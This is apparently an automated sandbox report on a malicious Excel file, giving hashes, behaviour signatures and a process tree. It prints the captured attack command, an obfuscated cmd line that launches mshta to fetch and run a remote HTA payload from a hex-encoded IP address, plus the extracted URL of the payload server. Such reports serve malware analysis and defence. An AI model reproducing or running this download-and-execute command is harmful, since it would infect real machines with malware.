Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20-11-2024 18:40
Behavioral task
behavioral1
Sample
cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls
Resource
win10v2004-20241007-en
General
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Target
cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls
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Size
114KB
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MD5
449a2e43961640dc6331c4747bc108cb
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SHA1
4ef0b29acf8537bd0e13792537acb300446f26e5
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SHA256
cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f
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SHA512
6ebf2bc7ab872687cd034f93da26a609c9fa95b031d476becf0129e992bf4f8dc2a2ca483edc1c02105b63ae39525b5f9508718e47253fd57e071dce770dcf7d
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SSDEEP
3072:yW+nBqmsk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIXxe53lGvFTQ3IzxgdrvxpU0S:t+nBqmsk3hbdlylKsgqopeJBWhZFVE+S
Malware Config
Extracted
http://185.7.214.7/fer/fe5.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2628 2916 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 3016 mshta.exe 8 3016 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2628 cmd.exe 2692 PING.EXE -
Delays execution with timeout.exe 1 IoCs
pid Process 2696 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2692 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2916 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2916 EXCEL.EXE 2916 EXCEL.EXE 2916 EXCEL.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2916 wrote to memory of 2628 2916 EXCEL.EXE 30 PID 2916 wrote to memory of 2628 2916 EXCEL.EXE 30 PID 2916 wrote to memory of 2628 2916 EXCEL.EXE 30 PID 2916 wrote to memory of 2628 2916 EXCEL.EXE 30 PID 2628 wrote to memory of 2692 2628 cmd.exe 32 PID 2628 wrote to memory of 2692 2628 cmd.exe 32 PID 2628 wrote to memory of 2692 2628 cmd.exe 32 PID 2628 wrote to memory of 2692 2628 cmd.exe 32 PID 2628 wrote to memory of 2696 2628 cmd.exe 33 PID 2628 wrote to memory of 2696 2628 cmd.exe 33 PID 2628 wrote to memory of 2696 2628 cmd.exe 33 PID 2628 wrote to memory of 2696 2628 cmd.exe 33 PID 2628 wrote to memory of 3016 2628 cmd.exe 34 PID 2628 wrote to memory of 3016 2628 cmd.exe 34 PID 2628 wrote to memory of 3016 2628 cmd.exe 34 PID 2628 wrote to memory of 3016 2628 cmd.exe 34
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\cc5c36c738c206cfc834c632e359739f4cbde4c34607363f337df35987af751f.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SysWOW64\cmd.execmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\SysWOW64\PING.EXEping google.com3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2692
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C:\Windows\SysWOW64\timeout.exetimeout 43⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2696
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C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe5.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:3016
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